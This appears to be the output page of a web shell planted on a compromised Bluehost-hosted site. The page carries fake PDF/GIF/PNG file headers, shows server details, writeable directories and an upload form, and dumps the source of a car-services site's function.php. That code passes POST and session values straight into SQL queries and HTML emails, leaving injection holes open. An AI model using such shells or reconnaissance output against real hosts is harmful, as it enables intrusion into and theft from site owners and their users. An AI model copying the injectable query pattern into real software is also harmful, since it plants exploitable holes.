%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_93b53270/function.php
<?php include("config.php");
error_reporting(0); 



$query_website=mysqli_query($conn,"SELECT * FROM `system_settings` WHERE `id`=1");
$rows_website=mysqli_fetch_array($query_website);
global $rows_website;
$base_url=$rows_website['website_url'];
$admin_url=$rows_website['website_url']."admin/";
$favicon=$rows_website['favicon'];
$website_name=$rows_website['website_name'];

// function title(){
// 	global $conn;
// $query_website=mysqli_query($conn,"SELECT * FROM `system_settings` WHERE `id`=1");
// $rows_website=mysqli_fetch_array($query_website);

// 	echo $rows_website['website_name'];
// }

if(!empty($_SESSION['user_id'])){
$fetch_user_id=mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE user_id='".$_SESSION['user_id']."'")); 

if(!empty($fetch_user_id['coupon'])){
$coP_ids = explode(",", $fetch_user_id['coupon']);
$det001 = date('Y-m-d');
foreach($coP_ids as $coP_id){
	$query01=mysqli_query($conn,"SELECT * FROM coupon_tbl WHERE `id`='$coP_id' ORDER BY ID DESC");
    $fetch_row01=mysqli_fetch_array($query01);
	if($fetch_row01['expiry_date']>$det001){
		$coupon_ex_ids[] = $fetch_row01['id'];
	}
}
$coupon_ex_id = implode(",",$coupon_ex_ids);
mysqli_query($conn,"UPDATE `user_tbl` SET `coupon`='$coupon_ex_id' WHERE user_id='".$_SESSION['user_id']."'");
}
}

$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https://" : "http://";
$domain = $_SERVER['HTTP_HOST'];
$actual_link = $protocol . $domain . $_SERVER['REQUEST_URI'];

if(isset($_POST['currency_btn'])){
	//die('dfghfdgdf');
$currency_type=$_POST['currency_id'];
   setcookie('currency_id',$_SESSION['currency_id'],60);
   unset($_SESSION['currency_type']); 
   $_SESSION['currency_id']=$currency_type;
   setcookie('currency_id',$currency_type,time()+ 60*60*24*365);  
  /* die('dhbjbd');*/
    echo "<script>window.location='".$actual_link."';</script>";
}

if (isset($_SESSION['filter']) && isset($_SESSION['user_id'])) {

    $user_id       = $_SESSION['user_id'];
    $brand_id      = $_SESSION['brand_id'];
    $variant_id    = $_SESSION['variant_id'];
    $model_year_id = $_SESSION['model_year_id'];

    // Check if record exists with status = 0
    $sql_my0 = mysqli_query($conn,
        "SELECT * FROM mycar_tbl 
         WHERE status = 0 
         AND user_id = '$user_id' 
         AND brand_id = '$brand_id' 
         AND variant_id = '$variant_id'
         AND model_year_id = '$model_year_id'"
    );

    // Check if record exists with status = 1
    $sql_my1 = mysqli_query($conn,
        "SELECT * FROM mycar_tbl 
         WHERE status = 1 
         AND user_id = '$user_id' 
         AND brand_id = '$brand_id' 
         AND variant_id = '$variant_id'
         AND model_year_id = '$model_year_id'"
    );

    // If exists but inactive → activate it
    if (mysqli_num_rows($sql_my0) > 0) {

        mysqli_query($conn,
            "UPDATE mycar_tbl 
             SET status = 1 
             WHERE status = 0 
             AND user_id = '$user_id'
             AND brand_id = '$brand_id'
             AND variant_id = '$variant_id'
             AND model_year_id = '$model_year_id'"
        );

    } 
    // If exists and active → do nothing
    elseif (mysqli_num_rows($sql_my1) > 0) {

        // Do nothing

    } 
    // If not exists → insert new record
    else {

        mysqli_query($conn,
            "INSERT INTO mycar_tbl SET 
                user_id = '$user_id',
                brand_id = '$brand_id',
                variant_id = '$variant_id',
                model_year_id = '$model_year_id',
                status = 1"
        );
    }
}

?>

<?php 
    if(isset($_POST['send_brand'])){

    $name_brand = $_POST['name_brand'];
    $user_id = $_SESSION['user_id'];
    $enquiry_type = "Brand";
    $recieve_date = date('Y-m-d');
    $status = 0;
    // die('jklkjklkljlklj');

    $sqli_brand_check = mysqli_query($conn,"SELECT * FROM `brand_tbl` WHERE name = '$name_brand'");
    $sqli_user_check = mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `user_tbl` WHERE user_id = '$user_id'"));
    $user_name = $sqli_user_check['name'];

    if(!isset($_SESSION['user_id'])){
        $_SESSION['error'] = 'Please First Login!';
    }elseif(mysqli_num_rows($sqli_brand_check) > 0){
        $_SESSION['error'] = 'This Brand Alredy exist!';
    }else{
        $mysqil = mysqli_query($conn,"INSERT `missing_enquiry_tbl` SET 
        `name`='$name_brand',
        `user_id`='$user_id',
        `enquiry_type`='$enquiry_type',
        `recieve_date`='$recieve_date',
        `status`='$status'");
        if($mysqil){

            $email_config = mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM email_setting WHERE id=1"));

            $host=$email_config['host'];
            $port=$email_config['port'];
            $username=$email_config['email'];
            $password=$email_config['password'];

            $email_temp='<table style="border: solid 2px #DDEEEE; border-collapse: collapse; border-spacing: 0; font: normal 14px Roboto, sans-serif;">

                          <thead>

                            <tr>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">User Id</th>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">User Name</th>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">Brand Name</th>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">Enquiry Date</th>

                            </tr>

                          </thead>

                          <tbody>

                            <tr>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$user_id.'</td>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$user_name.'</td>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$name_brand.'</td>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$recieve_date.'</td>

                            </tr>

                          </tbody>

                        </table>';


            // Send email to user
            $mail = new PHPMailer(true);
            //$mail->SMTPDebug = 2;
            $mail->isSMTP();                                           
            $mail->Host       = ''.$host.'';                     
            $mail->SMTPAuth   = true;                                   
            $mail->Username   = ''.$username.'';                    
            $mail->Password   = ''.$password.'';                             
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            
            $mail->Port       = $port;                                    
            $mail->setFrom($username, 'Kar services | Missing Brand Enquiry');
            $mail->addAddress($rows_website['website_email_id']); 
            $mail->addAddress($sqli_user_check['email']);        
            $mail->isHTML(true); 
            $mail->Subject = 'Kar services: Missing Brand Enquiry';
            $mail->Body = $email_temp;

            if ($mail->send()) {
                echo "<script>window.location='products.php';</script>";
                $_SESSION['message'] = 'Successfully Request Send!';
            } else {
                echo "Email sending failed: " . $mail->ErrorInfo;
            }
        }else{
            echo "<script>window.location='products.php';</script>";
            $_SESSION['error'] = 'Something is wrong!';
        }
    }
}
?>

<?php 
    if(isset($_POST['send_model'])){

    $name_model = $_POST['name_model'];
    $user_id = $_SESSION['user_id'];
    $enquiry_type = "Model";
    $recieve_date = date('Y-m-d');
    $status = 0;
    // die('jklkjklkljlklj');

    $sqli_brand_check = mysqli_query($conn,"SELECT * FROM `model_tbl` WHERE title = '$name_model'");
    $sqli_user_check = mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `user_tbl` WHERE user_id = '$user_id'"));
    $user_name = $sqli_user_check['name'];

    if(!isset($_SESSION['user_id'])){
        $_SESSION['error'] = 'Please First Login!';
    }elseif(mysqli_num_rows($sqli_brand_check) > 0){
        $_SESSION['error'] = 'This Model Alredy exist!';
    }else{
        $mysqil = mysqli_query($conn,"INSERT `missing_enquiry_tbl` SET 
        `name`='$name_model',
        `user_id`='$user_id',
        `enquiry_type`='$enquiry_type',
        `recieve_date`='$recieve_date',
        `status`='$status'");
        if($mysqil){

            $email_config = mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM email_setting WHERE id=1"));

            $host=$email_config['host'];
            $port=$email_config['port'];
            $username=$email_config['email'];
            $password=$email_config['password'];

            $email_temp='<table style="border: solid 2px #DDEEEE; border-collapse: collapse; border-spacing: 0; font: normal 14px Roboto, sans-serif;">

                          <thead>

                            <tr>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">User Id</th>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">User Name</th>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">Model Name</th>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">Enquiry Date</th>

                            </tr>

                          </thead>

                          <tbody>

                            <tr>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$user_id.'</td>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$user_name.'</td>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$name_model.'</td>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$recieve_date.'</td>

                            </tr>

                          </tbody>

                        </table>';


            // Send email to user
            $mail = new PHPMailer(true);
            //$mail->SMTPDebug = 2;
            $mail->isSMTP();                                           
            $mail->Host       = ''.$host.'';                     
            $mail->SMTPAuth   = true;                                   
            $mail->Username   = ''.$username.'';                    
            $mail->Password   = ''.$password.'';                             
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            
            $mail->Port       = $port;                                    
            $mail->setFrom($username, 'Kar services | Missing Model Enquiry');
            $mail->addAddress($rows_website['website_email_id']); 
            $mail->addAddress($sqli_user_check['email']);        
            $mail->isHTML(true); 
            $mail->Subject = 'Kar services: Missing Model Enquiry';
            $mail->Body = $email_temp;

            if ($mail->send()) {
                echo "<script>window.location='products.php';</script>";
                $_SESSION['message'] = 'Successfully Request Send!';
            } else {
                echo "Email sending failed: " . $mail->ErrorInfo;
            }
        }else{
            echo "<script>window.location='products.php';</script>";
            $_SESSION['error'] = 'Something is wrong!';
        }
    }
}
?>

<?php 
    if(isset($_POST['send_model_year'])){

    $name_model_date = $_POST['name_model_date'];
    $user_id = $_SESSION['user_id'];
    $enquiry_type = "Model_Year";
    $recieve_date = date('Y-m-d');
    $status = 0;
    // die('jklkjklkljlklj');

    $sqli_brand_check = mysqli_query($conn,"SELECT * FROM `model_date_tbl` WHERE title = '$name_model_date'");
    $sqli_user_check = mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `user_tbl` WHERE user_id = '$user_id'"));
    $user_name = $sqli_user_check['name'];

    if(!isset($_SESSION['user_id'])){
        $_SESSION['error'] = 'Please First Login!';
    }elseif(mysqli_num_rows($sqli_brand_check) > 0){
        $_SESSION['error'] = 'This Model Year Alredy exist!';
    }else{
        $mysqil = mysqli_query($conn,"INSERT `missing_enquiry_tbl` SET 
        `name`='$name_model_date',
        `user_id`='$user_id',
        `enquiry_type`='$enquiry_type',
        `recieve_date`='$recieve_date',
        `status`='$status'");
        if($mysqil){

            $email_config = mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM email_setting WHERE id=1"));

            $host=$email_config['host'];
            $port=$email_config['port'];
            $username=$email_config['email'];
            $password=$email_config['password'];

            $email_temp='<table style="border: solid 2px #DDEEEE; border-collapse: collapse; border-spacing: 0; font: normal 14px Roboto, sans-serif;">

                          <thead>

                            <tr>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">User Id</th>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">User Name</th>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">Model Year</th>

                                <th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">Enquiry Date</th>

                            </tr>

                          </thead>

                          <tbody>

                            <tr>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$user_id.'</td>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$user_name.'</td>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$name_model_date.'</td>

                                <td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$recieve_date.'</td>

                            </tr>

                          </tbody>

                        </table>';


            // Send email to user
            $mail = new PHPMailer(true);
            //$mail->SMTPDebug = 2;
            $mail->isSMTP();                                           
            $mail->Host       = ''.$host.'';                     
            $mail->SMTPAuth   = true;                                   
            $mail->Username   = ''.$username.'';                    
            $mail->Password   = ''.$password.'';                             
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            
            $mail->Port       = $port;                                    
            $mail->setFrom($username, 'Kar services | Missing Model Year Enquiry');
            $mail->addAddress($rows_website['website_email_id']); 
            $mail->addAddress($sqli_user_check['email']);        
            $mail->isHTML(true); 
            $mail->Subject = 'Kar services: Missing Model Year Enquiry';
            $mail->Body = $email_temp;

            if ($mail->send()) {
                echo "<script>window.location='products.php';</script>";
                $_SESSION['message'] = 'Successfully Request Send!';
            } else {
                echo "Email sending failed: " . $mail->ErrorInfo;
            }
        }else{
            echo "<script>window.location='products.php';</script>";
            $_SESSION['error'] = 'Something is wrong!';
        }
    }
}
?>

VaKeR 2022